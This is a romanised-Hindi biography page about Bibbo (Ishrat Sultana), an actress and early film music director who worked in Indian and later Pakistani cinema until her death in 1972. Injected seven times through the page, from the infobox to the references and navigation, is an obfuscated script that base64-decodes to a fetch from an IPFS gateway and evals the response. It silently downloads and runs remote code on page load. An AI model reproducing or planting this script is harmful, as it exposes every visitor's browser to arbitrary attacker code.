इशरत सुल्ताना
isharat sultana
| |
| poora nam | isharat sultana |
| prasiddh nam | bibbo |
| mrityu | 1972 |
| karm bhoomi | bharat, pakistan |
| karm-kshetr | abhinetri, gayika |
| mukhy filmean | vasavadatta, garib paravar, manamohan, jagiradar, dupatta, gulanar, najarana, mandi, katil, kuanvari beva, jahar-e- ishk, salama, galib, phanoos adi |
| puraskar-upadhi | nigar samman |
| pahali film | mayajal (1933) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
isharat sultana (aangrezi: Ishrat Sultana) bibbo ke nam se prasiddh abhinetri thian. bahut kam log janate haian ki ek sal se bhi kam samay ke lie muanbiya filmoan se ju dane vale premachand ne 1934 mean mazadoor urph mil nam ki jis film ki patakatha likhi usaki nayika thi bibbo. unaka asali nam tha isharat sultana. isharat sultana ka janm purani dilli ke chav di bazar ke samipavarti isharatabad ilaqe mean hua tha. unaki maan haphijan baee kothe par nachane-gane vali tavayaf thian.
jivan parichay
isharat sultana ke aranbhik jivan ke bare mean bahut-si batean ajnat haian ya vivadaspad haian, jaise ki unaka janm kab hua, unake pita ka kya nam tha aur unaka nam bibbo kisane rakha? pramanik strotoan ke anusar unaki pahali film 1933 mean bani mayajal thi. bibbo bahut jaldi hiandi sinema ki pramukh abhinetri ban gee. mayajal film ki nirdeshak thi shaanti dave aur nirmata the ajanta sinetom kanpani ke malik mohan bhavanani. mohan bhavanani ne hi premachand ko muanbee bulaya aur unake sath patakathaean likhane ka anubandh kiya aur unaki mazadoor film ka nirdeshan bhi kiya. bibbo ne premachand jaise moordhany kathakar ki pahali aur ekamatr film mean nayika ki bhoomika ada ki aur vah hiandi filmoan ki pahali mahila sangit nirdeshak bhi thian.[1]
prasiddhi
utkrisht abhinay ke lie unhean pahala samman bharat mean nahian, pakistan mean mila tha nigar namak samman. amataur par mana jata hai ki abhinetri nargis ki maan jaddan baee muanbiya filmoan ki pahali mahila sangit nirdeshak thian, lekin sachchaee yah hai ki bibbo ne unase ek varsh pahale 1934 mean adale-jahaangir film ka sangit nirdeshan kiya tha. bibbo ne 1937 mean ek aur film 'kajjak ki l daki' mean bhi sangit diya tha. agar filmoan ki sankhya ke adhar par tulana karean to jaddan baee nishchay hi bibbo se age thian. unhoanne 1936 mean hday manthan, maidam phaishan aur 1937 mean jivan svapn, moti ka har mean sangit diya. bibbo ko ghutti mean sangit mila tha aur filmoan mean ate hi unhoanne gana shuroo kar diya. halaanki us samay sari abhinetriyaan gati thian, kyoanki hiandi filmoan mean parshv gayan shuroo nahian hua tha. 1930 aur 1940 ke dashak ke hiandi filmoan mean bibbo ke ganoan ko yad karate haian. abhinetri ke roop mean film mazadoor mean bibbo ne adarshavadi mil malakin ki bhoomika ada ki thi jisaka nam tha padma. isamean kap da miloan ke shoshit mazadooroan ke jivan ka yatharth chitran tha jisamean vyapak roop se premachand ke adarshavad ki poori chhap thi. unhoanne yah siddh karane ka prayas kiya ki agar malik udar, dayalu aur mazadooroan ka hitachiantak ho to n keval mazadoor khush rahate haian, balki ve mehanat bhi jyada karate haian. isake viparit agar mazadooroan par atyachar kiya jae to ve malikoan se jhag da karate haian aur h datalean karate haian. is sukhaant film ki shootiang ek mil mean ki gee thi. bharatiy filmoan ke itihas mean is tarah ki lokeshan shootiang pahali bar ki gee thi, kyoanki tab stoodiyo mean set lagakar hi shootiang hoti thi.[1]
filmi jivan
filmi jivan ke aranbhik varsho mean bibbo ka khalil saradar nam ke ek suandar yuva abhineta se pyar ho gaya tha aur vah usase shadi karake lahaur chali gee. shadi ka jashn manane ke lie 1937 mean un donoan ne vahaan kajjak ki l daki namak film banaee, lekin vah pit gee. isase unaka romaans to thanda hua hi, unaki shadi bhi toot gee. toote dil ke sath bibbo vapas muanbee a gee aur filmoan mean kam karane lagi. unaki charchit filmoan ke nam haian-vasavadatta, garib paravar, manamohan, jagiradar, dayanamait, gramophon siangar, pyar ki mar, shane-khuda, sagar ka sher, b de navab sahib, nasib aur pahali najar. pahali najar vahi film hai jisamean mukesh ne parshav gayak ke roop mean pahala gana gaya tha-dil jalata hai to jalane de. bharat mean bibbo ki akhiri film thi 1947 mean bani pahala pyar jisaka nirdeshan epi kapoor ne kiya tha. varsh 1950 mean bibbo bharat ko hamesha ke lie chho dakar pakistan chali gee aur vahaan ki filmoan mean kam karane lagian. vahaan usi sal unhoanne apani pahali pakistani film 'shammi' mean abhinay kiya. yah film panjabi mean thi. pakistan mean bibbo ki bahut-si filmean charchit huee jinamean se kuchh ke nam haian-dupatta, gulanar, najarana, mandi, katil, kuanvari beva, jahar-e- ishk, salama, galib aur phanoos. phanoos mean unhoanne prasiddh pakistani abhineta ajad ke sath sarahaniy abhinay kiya, lekin film chali nahian. alabatta 'galib' film mean unake abhinay ki sabhi film samikshakoan ne bhoori-bhoori prashansa ki thi. varsh 1958 mean jahar-e-ishk film mean utkrisht abhinay ke lie unhean nigar samman prapt hua tha. bibbo ki akhiri pakistani film thi 1969 mean bani bujadil. [1]
nidhan
jivan ke aantim varsho mean bibbo ghor arthik sankatoan mean p d gee thi aur unake sare mitr aur chahane vale unhean chho d ge the. kisi jamane mean lakhoan diloan ki dh dakan aur advitiy suandari mani jane vali is kalakar ka varsh 1972 mean b da dukhad aant hua.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 hiandi filmoan ka ek bhoola-bisara adhyay (hiandi) (ech.ti.em.el) jagaran d aaut k aaum. abhigaman tithi: 7 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>